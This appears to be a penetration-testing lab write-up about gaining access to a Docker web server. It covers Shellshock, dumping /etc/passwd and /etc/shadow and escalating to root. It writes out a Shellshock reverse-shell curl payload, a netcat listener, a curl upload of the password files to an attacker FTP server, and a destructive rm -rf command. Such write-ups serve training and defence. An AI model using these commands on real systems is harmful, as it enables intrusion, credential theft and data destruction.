Weaponising Shellshock and SSH Brute-Forcing for Initial Access

Key Security Takeaways

• Password Hygiene: A single weak password was the only barrier between an attacker and a valid user account.

• Software Patching: Unpatched and outdated software can introduce vulnerabilities/weaknesses that can be exploited.

• Living off the Land: Once inside, attackers don't always need "malware." They use your own tools, like the text viewer cat, or a setting in a sudoers file, to grant themselves administrative (root) rights on a system.

• Pentesting: Automated security testing is limited in scope, while effectively conducted pentests provide a realistic view of a system's security posture from an attacker's perspective, uncovering deeper issues like misconfigurations, outdated software, or human error. 

Method B: Shellshock Remote Code Execution (RCE)

Shellshock (CVE-2014–6271) is a critical vulnerability in the GNU Bash shell that allows for Remote Code Execution (RCE). It is particularly potent when targeting Apache web servers that utilise Common Gateway Interface (CGI) scripts. The flaw resides in how Bash processes environment variables, specifically allowing an attacker to execute trailing commands after a malformed function definition, such as: () { :; }; <payload>

In this lab, the Docker container hosts a Bash script within the /cgi-bin/ directory. By sending a specially crafted HTTP request, an attacker can bypass standard authentication. While our initial nmap scan used the whoami command for verification, a more sophisticated attack uses curl to trigger a Reverse Shell.

What is a Reverse Shell? Unlike a standard connection where a client connects to a server, a reverse shell forces the compromised server to "call home" to the attacker's machine. This is a highly effective technique for bypassing firewalls that typically block incoming connections but allow outgoing traffic.

Attack Execution

1. Set up a Listener: On the attacker's machine, use Netcat to wait for the incoming connection: nc -lvp <attacker-listening-port>

2. Deliver the Payload: Send a custom request using curl to inject the reverse shell command into a malicious User-Agent 'Cookie' header of the request to the target's CGI script: curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<attacker-ip-address>/<attackerport> 0>&1' http://<target-ip>/cgi-bin/date.sh

3. Result: The server executes the native /dev/tcp utility to connect back to the attacker machine at <attacker-ip-address> & <attackerport>, which is intercepted by the listening netcat, granting the attacker a shell as the www-data user without requiring a password.

Similarly, the www-data account has limited privileges, but provides the initial access required to perform internal enumeration for vulnerabilities that can be exploited to elevate privileges, giving an attacker full access to the system.

Method A: Privilege Escalation via Credential Dumping

Linux Privilege Escalation via Credential Dumping occurs when an attacker, who has already gained limited access to the system, extracts sensitive authentication data to 'elevate' their access. Attackers will commonly target files and memory locations that are central to Linux authentication:

• /etc/shadow: The primary target. It contains the hashed passwords of all users. While it is restricted to the root user, misconfigured permissions (e.g., world-readable/executable scripts or utilities) allow anyone to "dump" it.

• Memory (RAM): Services like sshd, login, or even web servers may temporarily hold credentials in memory. Attackers use tools to scrape these strings.

• Bash History (~/.bash_history): Users often mistakenly type passwords into the command line (e.g., mysql -u root -pPassword123). This file is a goldmine for "forgotten" credentials.

• Application Config Files: Files like wp-config.php, settings.py, or .env files often contain database passwords or API keys stored in clear-text.

• SSH Keys: Private keys in ~/.ssh/id_rsa can be used to log in as other users or even root if the keys are reused or left unprotected.

These two commands will create exact copies of these 2 fundamental Linux system files that manage user authentication. Even though the passwords stored by the /etc/shadow file are hashed, an attacker can still 'crack' any weak credentials using copies of these two files. However, to retrieve the passwords, the attacker will need to transfer the files to their machine. This can easily be done using the Python FTP module to set up a temporary FTP server, complete with credentials: python -m ftpdlib -w --user=<username> --password=<password> -p <attacker-port>.

💡TIP: I used Kali Linux for this particular project, and the above command worked. However, if the above command (or specifically the ftpdlib module is not available) not working, you can use the alternative pyftpdlib module instead. Set up your Python virtual environment (python3 -m venv myftpserver), activate the environment (source myftpserver/bin/activate), install the module (python3 -m pip install pyftpdlib), and create the temp ftp server:  python -m pyftpdlib -w --user=<username> --password=<password> -p <attacker-port>.

On the compromised Docker container web server, these files can be copied back to the attacker's machine for offline cracking using the curl utility: curl -T <passwd/shadow-file> ftp://<username>:<password>@<attacker-ip>:<attacker-port>. With these file copies, the attacker will use unshadow utility (part of John the Ripper, a password-cracking tool) to combine the two files in a format suited for password cracking: unshadow passwd shadow > <combined-file-name>.

Gaining Root

When an attacker gains root access, it is often referred to in cybersecurity as a "Total System Compromise." The technical boundaries that usually protect a business (such as file permissions, user isolation, and firewalls) cease to exist for that attacker.

Once root is achieved, the attacker moves from "breaking in" to "dwelling" and "monetising." Below is an expansion on the implications of this "God Mode," covering both the technical mechanics and the severe business fallout. 

Technical Implications

Once root is achieved, the attacker moves from "breaking in" to "dwelling" and "monetizing."

• Install Backdoors: Add their own SSH key to /root/.ssh/authorized_keys or hidden background services - adding persistence, allowing them to return to the system at anytime in the future.

• Exfiltrate Data: Read every file on the disk (including database secrets and user passwords) and export them back to their own system.

• Wipe the System: Install ransomware to render the system inoperable or run rm -rf / --no-preserve-root to destroy the server.

• Pivot: Use the server as a jumping-off point to attack other machines on the internal network.

• Botnet Recruitment: The compromised system is integrated into the attacker's 'zombie' network and used to launch Distributed Denial of Service (DDoS) attacks, phishing campaigns, or as part of their Cryptojacking network.

Business Implications

The business damage of a root compromise is rarely limited to the cost of fixing the server.

• Legal and Regulatory Fallout: If PII (Personally Identifiable Information) is exfiltrated, the business is now legally bound by laws like GDPR, CCPA, or HIPAA, resulting in expensive fines or mandatory recurring regulatory audits.

• Reputational Destruction: Customers/clients will migrate to the competition, and the public IPs of the company may be blacklisted globally if their systems were integrated into a bot network.

• Operational & Financial Collapse: The installation of ransomware or destruction of systems will disrupt operations, causing monetary losses (and even loss of life in the case of medical facilities), as well as incur expensive incident response and recovery efforts.

Summary

This lab demonstrates that a system breach is not the result of a single failure, but a chain of them. 

Imagine the Docker container web server as a house; the attacker used Scanning and Enumeration to find a weak door (SSH) or a broken window (Shellshock), followed by Exploitation to gain a foothold and enter the house. However, the true "homeowner" access was achieved through two distinct Privilege Escalation paths:

• Credential Dumping & Cracking: By leveraging a misconfigured sudo cat permission, the attacker dumped the sensitive /etc/passwd and /etc/shadow files. Using the unshadow utility to combine them, they moved the attack "offline," employing John the Ripper to crack hashes and harvest the 'test' account credentials.

• Malicious Script Injection: The attacker identified a sudo-authorised script, /tmp/test.sh. By injecting a command "/bin/bash -i" into the script, they hijacked the script’s execution flow to spawn an interactive root shell, bypassing standard security boundaries entirely.

Ultimately, the journey from a low-privilege www-data or test account to root was paved by minor misconfigurations rather than complex exploits. In the next part, we will see how Wazuh SIEM attempts to track these muddy footprints across the system and where defensive gaps still remain.